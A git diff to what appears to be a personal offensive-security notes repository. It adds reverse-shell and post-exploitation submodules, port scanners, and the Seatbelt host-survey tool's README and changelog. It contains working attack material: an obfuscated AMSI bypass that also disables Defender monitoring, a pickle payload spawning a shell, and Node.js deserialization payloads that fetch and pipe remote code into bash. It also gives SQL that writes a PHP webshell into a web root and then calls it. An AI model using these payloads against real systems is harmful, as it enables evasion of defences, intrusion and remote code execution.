diff --git a/.gitmodules b/.gitmodules index c2daf29..c11b0df 100644 --- a/.gitmodules +++ b/.gitmodules @@ -73,3 +73,18 @@ [submodule "post_exploitation/firefox_decrypt"] path = post_exploitation/firefox_decrypt url = https://github.com/unode/firefox_decrypt.git +[submodule "hashes/password_cracking/colabcat"] + path = hashes/password_cracking/colabcat + url = https://github.com/someshkar/colabcat.git +[submodule "reverse_shells/php-reverse-shell"] + path = reverse_shells/php-reverse-shell + url = https://github.com/ivan-sincek/php-reverse-shell.git +[submodule "post_exploitation/CrackMapExec"] + path = post_exploitation/CrackMapExec + url = https://github.com/byt3bl33d3r/CrackMapExec.git +[submodule "post_exploitation/priv_esc/Seatbelt"] + path = post_exploitation/priv_esc/Seatbelt + url = https://github.com/GhostPack/Seatbelt +[submodule "post_exploitation/Invoke-EDRChecker"] + path = post_exploitation/Invoke-EDRChecker + url = https://github.com/PwnDexter/Invoke-EDRChecker.git diff --git a/antivirus_evasion.md b/antivirus_evasion.md index fe7a10a..233ca87 100644 --- a/antivirus_evasion.md +++ b/antivirus_evasion.md @@ -8,10 +8,38 @@ * Static Detection -- Hash or String/Byte Matching * Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox +## Anti Malware Secure Interface +* https://docs.microsoft.com/en-us/windows/win32/amsi/ + +### Return Result Codes +``` +AMSI_RESULT_CLEAN = 0 +AMSI_RESULT_NOT_DETECTED = 1 +AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384 +AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479 +AMSI_RESULT_DETECTED = 32768 +``` +### Bypass +* Patching amsi.dll +* Amsi ScanBuffer patch +* Forcing errors +* [Matt Graeber's Reflection](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/) +* PowerShell downgrade +* [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git) + +* Practical example +```sh +[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) +Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse +Set-MpPreference -DisableRealtimeMonitoring $true +``` + +### Validate +* Validate Obfuscation +* [AMSITrigger Repo](https://github.com/RythmStick/AMSITrigger) ## Links * [cmnatic](https://cmnatic.co.uk/) * [cmnatic's diss](https://resources.cmnatic.co.uk/Presentations/Dissertation/) - - - +* [s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/) +* [amsi.fail](https://amsi.fail/) diff --git a/enumeration/network_scanners/another_port_scanner.py b/enumeration/network_scanners/another_port_scanner.py new file mode 100644 index 0000000..3826243 --- /dev/null +++ b/enumeration/network_scanners/another_port_scanner.py @@ -0,0 +1,11 @@ +#!/usr/bin/python3 +import socket +host = "1.1.1.1" +portList = [21,22,53,80,443,3306,8443,8080] +for port in portList: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((host,port)) + print("Port ", port, " is open") + except: + print("Port ", port, " is closed") diff --git a/enumeration/network_scanners/netcat_port_scanner.sh b/enumeration/network_scanners/netcat_port_scanner.sh new file mode 100644 index 0000000..3f8a319 --- /dev/null +++ b/enumeration/network_scanners/netcat_port_scanner.sh @@ -0,0 +1,2 @@ +#!/usr/bin/env bash +nc -zv $1 1-65535 diff --git a/enumeration/network_scanners/port_scanner.sh b/enumeration/network_scanners/port_scanner.sh new file mode 100644 index 0000000..508c543 --- /dev/null +++ b/enumeration/network_scanners/port_scanner.sh @@ -0,0 +1,5 @@ +#!/bin/bash +ports=(21 22 53 80 443 3306 8443 8080) +for port in ${ports[@]}; do +timeout 1 bash -c "echo \"Port Scan Test\" > /dev/tcp/$1/$port && echo $port is open || /dev/null" +done diff --git a/enumeration/windows/powershell.md b/enumeration/windows/powershell.md index 741e718..6f0ebef 100644 --- a/enumeration/windows/powershell.md +++ b/enumeration/windows/powershell.md @@ -210,6 +210,9 @@ Get-Process ```sh schtasks /query /fo LIST /v ``` +```sh +Get-ScheduledTaskInfo +``` * Scheduled Tasks, by TaskName ``` Get-ScheduledTask | Where-Object -Property TaskName -Match taskname @@ -283,4 +286,13 @@ Get-NetDomainTrust ```sh Find-LocalAdminAccess ``` +```sh +whoami /priv +``` +``` +Import-Module ActiveDirectory +Get-ADGroup +Get-ADGroupMember +Get-ADPrincipalGroupMembership +``` diff --git a/exploit/python/pickle.md b/exploit/python/pickle.md new file mode 100644 index 0000000..21d3e45 --- /dev/null +++ b/exploit/python/pickle.md @@ -0,0 +1,16 @@ +# Pickle + +## Payload +* Inject payload +```python +import pickle +import os +import base64 +class evil_object(object): + def __reduce__(self): + return(os.system, ('/bin/bash',)) +x = evil_object() +x = evil_object() +y = pickle.dumps(x) +base64.b64encode(y) +``` diff --git a/exploit/python/pyc.md b/exploit/python/pyc.md new file mode 100644 index 0000000..0fc6680 --- /dev/null +++ b/exploit/python/pyc.md @@ -0,0 +1,5 @@ +# Decompile PYC + +```sh +uncompyle6 file.pyc +``` diff --git a/exploit/web/cookie_tampering.md b/exploit/web/cookie_tampering.md index eab9f63..c3063f5 100644 --- a/exploit/web/cookie_tampering.md +++ b/exploit/web/cookie_tampering.md @@ -1 +1,22 @@ # Cookie Tampering + +## Components + +* Separator is `;` +* Name +* Value +* Domain +* Path +* Expires/Maxage +* Size +* HttpOnly, no access by client side scripts +* Secure, HTTPs only +* SameSite, cookie sent through cross-site request +* SameParty, firt party requests only +* Priority + +## Response +* May look like this +```sh +Set-Cookie: =; Domain=; Secure; HttpOnly +``` diff --git a/exploit/web/javascript/bypass_filters.md b/exploit/web/javascript/bypass_filters.md new file mode 100644 index 0000000..44df2b0 --- /dev/null +++ b/exploit/web/javascript/bypass_filters.md @@ -0,0 +1,10 @@ +# Client Filters + +* Circumvent client side filters via + * Disable javascript + * Use curl +```sh +curl -X POST -F "submit=" -F "=@" +``` + * Intercept and modify incoming page via Burpsuite + * Intercept and modify upload of already loaded page via Burpsuite diff --git a/exploit/web/nodejs/deserialization.md b/exploit/web/nodejs/deserialization.md new file mode 100644 index 0000000..25ee25c --- /dev/null +++ b/exploit/web/nodejs/deserialization.md @@ -0,0 +1,14 @@ +# De/Serialization + +* `_$$ND_FUNC$$_function (){}` is executed after parsing + +## Example Payloads + +* Encode, send and wait with `sudo tcpdump -i icmp` +```js +{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('ping -c 10 ', function(error, stdout, stderr) { console.log(stdout) });\n }()"} +``` +* reverse shell via +```js +{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('curl :8000 | bash', function(error, stdout, stderr) { console.log(stdout) });\n }()"} +``` diff --git a/forensics/volatility.md b/forensics/volatility.md new file mode 100644 index 0000000..c2ddf10 --- /dev/null +++ b/forensics/volatility.md @@ -0,0 +1,27 @@ +# Volatility +* [Cheat sheet](https://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf) +* [Hacktricks shee](https://book.hacktricks.xyz/forensics/volatility-examples) + +* Basic Info, find OS profile +```sh +volatility -f imageinfo +volatility -f kdbgscan +``` +* Process list +```sh +volatility -f --profile pslist +``` +* List dlls +```sh +volatility -f --profile dlllist -p +``` +* Last accessed dir +```sh +volatility -f --profile shellbags +``` +## Plugins + +* For example + * Truecryptpassphrase + * cmdscan, command history + * shutdowntime diff --git a/forensics/volatility3 b/forensics/volatility3 index 23453f5..f821ac6 160000 --- a/forensics/volatility3 +++ b/forensics/volatility3 @@ -1 +1 @@ -Subproject commit 23453f5d8c56030acf1fea72f2b9d0c9dfda85c6 +Subproject commit f821ac60721047dd7b8832724b28e1383903199c diff --git a/hashes/password_cracking/colabcat b/hashes/password_cracking/colabcat new file mode 160000 index 0000000..8642f3c --- /dev/null +++ b/hashes/password_cracking/colabcat @@ -0,0 +1 @@ +Subproject commit 8642f3c3fc588e246a0c6e05697289e65f087a98 diff --git a/misc/level3_hypervisor/docker_sec/docker.md b/misc/level3_hypervisor/docker_sec/docker.md index 80f3408..b92d249 100644 --- a/misc/level3_hypervisor/docker_sec/docker.md +++ b/misc/level3_hypervisor/docker_sec/docker.md @@ -1,5 +1,7 @@ # Docker Vulnerabilities +* [Container enumeration](https://github.com/stealthcopter/deepce) + ## Abusing Registry * [Registry Doc](https://docs.docker.com/registry/spec/api/) * Registry is a json API endpoint @@ -124,6 +126,22 @@ curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.s curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers//start ``` * Login in to the host via ssh +## Escape through DB + +* Login into DB +* Create table +* Inject PHP code +* Select table content intoa file the user can read +* Execute the file +```sql +create table h4x0r (pwn varchar(1024)); +insert into h4x0r (pwn) values (''); +select '' INTO OUTFILE '/var/www/html/shell.php'; +``` +* curl the webshell hon the exploited host +```sh +curl /shell.php?cmd=id +``` ## Dirty c0w https://github.com/dirtycow/dirtycow.github.io diff --git a/post_exploitation/CrackMapExec b/post_exploitation/CrackMapExec new file mode 160000 index 0000000..25686f4 --- /dev/null +++ b/post_exploitation/CrackMapExec @@ -0,0 +1 @@ +Subproject commit 25686f4271b87f32bbef5701125245fd1eb8575c diff --git a/post_exploitation/Invoke-EDRChecker b/post_exploitation/Invoke-EDRChecker new file mode 160000 index 0000000..8d84968 --- /dev/null +++ b/post_exploitation/Invoke-EDRChecker @@ -0,0 +1 @@ +Subproject commit 8d84968f7c6c8e9b32f3961a2952d83a662bd65d diff --git a/post_exploitation/Seatbelt/.github/ISSUE_TEMPLATE/bug_report.md b/post_exploitation/Seatbelt/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..288b1e7 --- /dev/null +++ b/post_exploitation/Seatbelt/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,35 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +This is a bug tracker. If you need help using the tool, make sure you've read the detailed [README](https://github.com/GhostPack/Seatbelt/blob/master/README.md). If something is not in the README that you think would be beneficial, please submit bug requesting the information or, even better, submit a pull request. + +If you are running multiple commands or a command group and Seatbelt is crashing before it finishes, consider writing output to a file (`Seatbelt.exe -outputFile=out.txt`) so we can determine the last command that executed before it failed. + +**To Reproduce** +Steps to reproduce the behavior. Please include any applicable artifacts that we could use to replicate the issue(e.g. files, registry keys, screenshots, etc.) +1. +2. +3. +4. + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Observed behavior** +A description of what Seatbelt did that you did not expect it to. + +**Software versions (where applicable)** + - OS (open `cmd.exe` and type `ver`) + - If it concerns a specific product. please include the product's version number or PE file version information(`Seatbelt.exe "fileinfo C:\path\to\product.exe"`) + +**Additional context** +Add any other context about the problem here. diff --git a/post_exploitation/Seatbelt/.github/ISSUE_TEMPLATE/feature_request.md b/post_exploitation/Seatbelt/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..97c1702 --- /dev/null +++ b/post_exploitation/Seatbelt/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,19 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: enhancement +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Additional context** +Add any other context or screenshots about the feature request here. + +For Seatbelt enumeration command requests, please include example registry keys, file, shell commands, etc. that could be used as test cases. diff --git a/post_exploitation/Seatbelt/.gitignore b/post_exploitation/Seatbelt/.gitignore new file mode 100644 index 0000000..9564866 --- /dev/null +++ b/post_exploitation/Seatbelt/.gitignore @@ -0,0 +1,6 @@ +.vs +*.user +[Dd]ebug/ +[Rr]elease/ +[Bb]in/ +[Oo]bj/ diff --git a/post_exploitation/Seatbelt/CHANGELOG.md b/post_exploitation/Seatbelt/CHANGELOG.md new file mode 100644 index 0000000..35d8f0a --- /dev/null +++ b/post_exploitation/Seatbelt/CHANGELOG.md @@ -0,0 +1,226 @@ +# Changelog +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [1.1.1] - 2020-11-06 + +### Added + +* Added remote support to the following commands: + * PowerShell, DotNet + * FirefoxPresence, FirefoxHistory + * ChromePresence/ChromeHistory/ChromeBookmarks + * InternetExplorerFavorites, IEUrls + * SlackDownloads, SlackPresence, SlackWorkspaces + * CloudCredentials, FileZilla, OutlookDownloads, RDCManFiles + * SuperPutty, LocalUsers, LocalGroups, PowerShellHistory + * Credguard, InstalledProducts, AppLocker, AuditPolicyRegistry + * DNSCache, PSSessionSettings, OSInfo, EnvironmentVariables, DpapiMasterKeys + +* Implemented remote event log support: + * ExplicitLogonEvents, LogonEvents, PoweredOnEvents, PowerShellEvents, ProcessCreationEvents, SysmonEvents + +* Chrome* modules now converted to Chromium support: + * Chrome, Edge, Brave, Opera + +* Added IBM Bluemix enumeration to CloudCredentials + + +### Fixed + +* Better error handling in various modules +* OS version number collection on Windows 10 +* McAfeeSiteList null pointer exception +* Interpretation of uac/tokenfilter/filteradmintoken values +* Nullable type issues +* WindowsFirewall filtering + + +## [1.1.0] - 2020-09-30 + +### Added + +* Added the following commands: + * Hotfixes - installed hotfixes (via WMI) + * MicrosoftUpdates - all Microsoft updates (via COM) + * HuntLolbas - hunt for living-off-the-land binaries (from @NotoriousRebel) + * PowerShellHistory - searches PowerShell console history files for sensitive regex matches (adapted from @NotoriousRebel) + * RDPSettings - Remote Desktop Server/Client Settings + * SecPackageCreds - obtains credentials from security packages (InternalMonologue for the current user) + * FileZilla - files user FileZilla configuration files/passwords + * SuperPutty - files user SuperPutty configuration files + * McAfeeSiteList - finds/decrypts McAfee SiteList.xml files + * McAfeeConfigs- finds McAfee configuration files + +### Changed + +* Added CLR version enumeration to "DotNet" and "PowerShell" commands +* Updated LSASettings to detect restricted admin mode +* Added ZoneMapKey & Auth settings to "InternetSettings" (Francis Lacoste) +* Added support for ByteArrays in "WindowsVault" +* Redid assembly detection to (hopefully) prevent image load events +* Added version/description fields to processes and services +* Added ASR rules to "WindowsDefender" command + +### Fixed + +* Big fix for event log searching +* Fix for sensitive command line scraping +* Code cleanup/dead code removal +* Allow empty companyname the Services command +* Better exception handling +* Various fixes/expansions for the "WindowsVault" command +* Added disposing of output sinks +* Other misc. bug fixes + + +## [1.0.0] - 2020-05-26 + +### Added + +* Added the following commands: + * NTLMSettings, SCCM, WSUS, UserRightAssignments, IdleTime, FileInfo, NamedPipes, NetworkProfile + * AMSIProviders, RPCMappedEndpoints, LocalUsers, CredGuard, LocalGPOs, OutlookDownloads + * AppLocker (thanks @_RastaMouse! https://github.com/GhostPack/Seatbelt/pull/15) + * InstalledProducts and Printers commands, with DACLs included for printers + * SearchIndex - module to search the Windows Search Indexer + * WMIEventFilter/WMIEventConsumer/WMIEventConsumer commands + * ScheduledTasks command (via WMI for win8+) + * AuditPolicies/AuditSettings - classic and advanced audit policy settings + * EnvironmentPath - %ENV:PATH% folder enumeration, along with DACLs + * ProcessCreation - from @djhohnstein's EventLogParser project. Expanded sensitive regexes. + * CredEnum - use CredEnumerate() to enumerate the credentials from the user's credential set (thanks @djhohnstein and @peewpw) + * SecurityPackages - uses EnumerateSecurityPackages() to enumerate available security packages + * WindowsDefender - exclusions for paths/extensions/processes for Windows Defender + * DotNet - detects .NET versions and whether AMSI is enabled/can by bypassed (similar to 'PowerShell') + * ProcessOwners - simplified enumeration of non-session 0 processes/owners that can function remotely + * dir + * Allows recursively enumerating directories and searching for files based on a regex + * Lists user folders by default + * Usage: "dir [path] [depth] [searchRegex] [ignoreErrors? true/false]" + * Default: "dir C:\users\ 2 \\(Documents|Downloads|Desktop) false" + * Shows files in users' documents/downloads/desktop folders + * reg + * Allows recursively listing and searching for registry values on the current machine and remotely (if remote registry is enabled). + * Added additional defensive process checks thanks to @swarleysez, @Ne0nd0g, and @leechristensen. See https://github.com/GhostPack/Seatbelt/pull/17 and https://github.com/GhostPack/Seatbelt/pull/19. + * Added Xen virtual machine detections thanks to @rasta-mouse. See https://github.com/GhostPack/Seatbelt/pull/18 +* Added the following command aliases: + * "Remote" for common commands to run remotely + * "Slack" to run Slack-specific modules + * "Chrome" to run Chrome-specific modules +* Added in ability to give commands arguments (to be expanded in the future). Syntax: `Seatbelt.exe "PoweredOnEvents 30"` +* Added remote support for WMI/registry enumeration modules that are marked with a + + * Usage: computername=COMPUTER.DOMAIN.COM [username=DOMAIN\USER password=PASSWORD] +* Added the "-q" command-line flag to not print the logo +* Added ability to output to a file with the the "-o " parameter + * Providing a file that ends in .json produces JSON-structured output! +* Added in the architecture for different output sinks. Still need to convert a lot of cmdlets to the new format. +* Added a module template. +* Added CHANGELOG.md. + + +### Changed + +* Externalized all commands into their own class/file +* Cleaned up some of the registry querying code +* Commands can now be case-insensitive +* Seatbelt's help message is now dynamically created +* Renamed RebootSchedule to PoweredOnEvents + * Now enumerates events for system startup/shutdown, unexpected shutdown, and sleeping/awaking. +* Modified the output of the Logon and ExplicitLogon event commands to be easier to read/analyze +* LogonEvents, ExplicitLogonEvents, and PoweredOnEvents take an argument of how many days back to collect logs for. Example: Seatbelt.exe "LogonEvents 50" +* Added Added timezone, locale information, MachineGuid, Build number and UBR (if present) to OSInfo command +* Refactored registry enumeration code +* Putty command now lists if agent forwarding is enabled +* Renamed BasicOSInfo to OSInfo +* Simplified IsLocalAdmin code +* Added the member type to localgroupmembership output +* Simplified the RDPSavedConnections code +* Formatted the output of RDPSavedConnections to be prettier +* Formatted the output of RecentFiles to be prettier +* Modified logonevents default so that it only outputs the past day on servers +* Re-wrote the PowerShell command. Added AMSI information and hints for bypassing. +* Add NTLM/Kerberos informational alerts to the LogonEvents command +* Changed the output format of DpapiMasterKeys +* Re-wrote the Registry helper code +* Refactored the helper code +* Incorprated [@mark-s's](https://github.com/mark-s) code to speed up the interestingfiles command. See [#16](https://github.com/GhostPack/Seatbelt/pull/16) +* Added SDDL to the "fileinfo" command +* Added MRUs for all office applications to the RecentFiles command +* RecentFiles now has a paramater that restricts how old the documents are. "RecentFiles 20" - Shows files accessed in the last 20 days. +* Renamed RegistryValue command to "reg" +* Search terms in the "reg" command now match keys, value names, and values. +* Updated the "reg" commands arguments. + * Usage: "reg [depth] [searchTerm] [ignoreErrors]" + * Defaults: "reg HKLM\Software 1 default true" +* Added generic GetSecurityInfos command into SecurityUtil +* Formatting tweak for DPAPIMasterkeys +* WindowsVaults output filtering +* Renamed RecentFiles to ExplorerMRUs, broke out functionality for ExplorerMRUs and OfficeMRUs +* Broke IETriage command into IEUrls and IEFavorites +* Changed FirefoxCommand to FirefoxHistory +* Changed ChromePresence and FirefoxPresence to display last modified timestamps for the history/cred/etc. files +* Split ChromeCommand into ChromeHistoryCommand and ChromeBookmarksCommand +* Broke PuttyCommand into PuttyHostKeys and PuttySessions +* Added SDDL field to InterestingFiles command +* Modified IdleTime to display the current user and time in h:m:s:ms format +* Moved Firewall enumeration to the registry (instead of the COM object). Thanks @Max_68! +* Changed TokenGroups output formatting +* Renamed localgroupmemberships to localgroups +* Changed network firewall enumeration to display "non-builtin" rules instead of deny. Added basic filtering. +* Added IsDotNet property to the FileInfo command +* Renamed "NonstandardProcesses" and "NonstandardServices" to "Processes" and "Services", respectively +* LocalGroups now enumerates all (by default non-empty) local groups and memberships, along with comments +* Added a "modules" argument to the "Processes" command to display non-Microsoft loaded processes +* Notify operator when LSA Protected Mode is enabled (RunAsPPL) +* Updated the EnvironmentVariables command to distinguish between user/system/current process/volatile variables +* Added a user filter to ExplicitLogonEvents. Usage: `ExplicitLogonEvents ` +* Added version check for Chrome (v80+) +* Added analysis messages for the logonevents command +* Rewrote and expanded README.md + + +### Fixed + +* Some timestamp converting code in the ticket extraction section +* Fixed Chrome bookmark command (threw an exception with folders) +* Fixed reboot schedule (xpath query wasn't precise enough, leading to exceptions) +* Fixed an exception that was being thrown in the CloudCredential command +* NonstandardServices command + * Fixed a bug that occurred during enumeration + * Added ServiceDll and User fields + * Partially fixed path parsing in NonstandardServices with some help from OJ (@TheColonial)! See https://github.com/GhostPack/Seatbelt/pull/14 + * Cleaned up the code +* Fixed a bug in localgroupmembership +* Check if it's a Server before running the AntiVirus check (the WMI class isn't on servers) +* Fixed a bug in WindowsCredentialFiles so it wouldn't output null bytes +* Fixed a null reference bug in the PowerShell command +* Fixed the OS version comparisons in WindowsVault command +* Fixed a DWORD parsing bug in the registry util class for big (i.e. negative int) values +* ARPTable bug fix/error handling +* Fixed PuttySession HKCU v. HKU bug +* Fixed a terminating exception bug in the Processes command when obtaining file version info +* More additional bug fixes than we can count >_< + + +### Removed + +* Removed the UserFolder command (replaced by DirectoryList command) + + +## [0.2.0] - 2018-08-20 + +### Added +* @djhohnstein's vault enumeration + + +### Changed +* @ClementNotin/@cnotin's various fixes + + +## [0.1.0] - 2018-07-24 + +* Initial release diff --git a/post_exploitation/Seatbelt/LICENSE b/post_exploitation/Seatbelt/LICENSE new file mode 100644 index 0000000..180919f --- /dev/null +++ b/post_exploitation/Seatbelt/LICENSE @@ -0,0 +1,14 @@ +Rubeus is provided under the 3-clause BSD license below. + +************************************************************* + +Copyright (c) 2020, Will Schroeder and Lee Christensen +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/post_exploitation/Seatbelt/README.md b/post_exploitation/Seatbelt/README.md new file mode 100755 index 0000000..3660fb2 --- /dev/null +++ b/post_exploitation/Seatbelt/README.md @@ -0,0 +1,487 @@ +# Seatbelt + +---- + +Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. + +[@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect. + +[@harmj0y](https://twitter.com/harmj0y) and [@tifkin_](https://twitter.com/tifkin_) are the primary authors of this implementation. + +Seatbelt is licensed under the BSD 3-Clause license. + + +## Table of Contents + +- [Seatbelt](#seatbelt) + * [Table of Contents](#table-of-contents) + * [Command Line Usage](#command-line-usage) + * [Command Groups](#command-groups) + + [system](#system) + + [user](#user) + + [misc](#misc) + + [Additional Command Groups](#additional-command-groups) + * [Command Arguments](#command-arguments) + * [Output](#output) + * [Remote Enumeration](#remote-enumeration) + * [Building Your Own Modules](#building-your-own-modules) + * [Compile Instructions](#compile-instructions) + * [Acknowledgments](#acknowledgments) + + +## Command Line Usage + +``` + + + %&&@@@&& + &&&&&&&%%%, #&&@@@@@@%%%%%%###############% + &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% +%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( +#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( +#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( +#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( +#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### +###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### +#####%###################### %%%.. @////(((&%%%%%%%################ + &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* + &%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%, + #%%%%##, + + +Available commands (+ means remote usage is supported): + + + AMSIProviders - Providers registered for AMSI + + AntiVirus - Registered antivirus (via WMI) + + AppLocker - AppLocker settings, if installed + ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a) + AuditPolicies - Enumerates classic and advanced audit policy settings + + AuditPolicyRegistry - Audit settings via the registry + + AutoRuns - Auto run executables/scripts/programs + + ChromiumBookmarks - Parses any found Chrome/Edge/Brave/Opera bookmark files + + ChromiumHistory - Parses any found Chrome/Edge/Brave/Opera history files + + ChromiumPresence - Checks if interesting Chrome/Edge/Brave/Opera files exist + + CloudCredentials - AWS/Google/Azure/Bluemix cloud credential files + + CloudSyncProviders - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive. + CredEnum - Enumerates the current user's saved credentials using CredEnumerate() + + CredGuard - CredentialGuard configuration + dir - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors] + + DNSCache - DNS cache entries (via WMI) + + DotNet - DotNet versions + + DpapiMasterKeys - List DPAPI master keys + EnvironmentPath - Current environment %PATH$ folders and SDDL information + + EnvironmentVariables - Current environment variables + + ExplicitLogonEvents - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days. + ExplorerMRUs - Explorer most recently used files (last 7 days, argument == last X days) + + ExplorerRunCommands - Recent Explorer "run" commands + FileInfo - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s) + + FileZilla - FileZilla configuration files + + FirefoxHistory - Parses any found FireFox history files + + FirefoxPresence - Checks if interesting Firefox files exist + + Hotfixes - Installed hotfixes (via WMI) + IdleTime - Returns the number of seconds since the current user's last input. + + IEFavorites - Internet Explorer favorites + IETabs - Open Internet Explorer tabs + + IEUrls - Internet Explorer typed URLs (last 7 days, argument == last X days) + + InstalledProducts - Installed products via the registry + InterestingFiles - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time. + + InterestingProcesses - "Interesting" processes - defensive products and admin tools + InternetSettings - Internet settings including proxy configs and zones configuration + KeePass - Finds KeePass configuration files + + LAPS - LAPS settings, if installed + + LastShutdown - Returns the DateTime of the last system shutdown (via the registry). + LocalGPOs - Local Group Policy settings applied to the machine/local users + + LocalGroups - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate) + + LocalUsers - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate) + + LogonEvents - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. + + LogonSessions - Windows logon sessions + LOLBAS - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time. + + LSASettings - LSA settings (including auth packages) + + MappedDrives - Users' mapped drives (via WMI) + McAfeeConfigs - Finds McAfee configuration files + McAfeeSiteList - Decrypt any found McAfee SiteList.xml configuration files. + MicrosoftUpdates - All Microsoft updates (via COM) + NamedPipes - Named pipe names and any readable ACL information. + + NetworkProfiles - Windows network profiles + + NetworkShares - Network shares exposed by the machine (via WMI) + + NTLMSettings - NTLM authentication settings + OfficeMRUs - Office most recently used file list (last 7 days) + OracleSQLDeveloper - Finds Oracle SQLDeveloper connections.xml files + + OSInfo - Basic OS info (i.e. architecture, OS version, etc.) + + OutlookDownloads - List files downloaded by Outlook + + PoweredOnEvents - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days. + + PowerShell - PowerShell versions and security settings + + PowerShellEvents - PowerShell script block logs (4104) with sensitive data. + + PowerShellHistory - Searches PowerShell console history files for sensitive regex matches. + Printers - Installed Printers (via WMI) + + ProcessCreationEvents - Process creation logs (4688) with sensitive data. + Processes - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes + + ProcessOwners - Running non-session 0 process list with owners. For remote use. + + PSSessionSettings - Enumerates PS Session Settings from the registry + + PuttyHostKeys - Saved Putty SSH host keys + + PuttySessions - Saved Putty configuration (interesting fields) and SSH host keys + RDCManFiles - Windows Remote Desktop Connection Manager settings files + + RDPSavedConnections - Saved RDP connections stored in the registry + + RDPSessions - Current incoming RDP sessions (argument == computername to enumerate) + + RDPsettings - Remote Desktop Server/Client Settings + RecycleBin - Items in the Recycle Bin deleted in the last 30 days - only works from a user context! + reg - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] 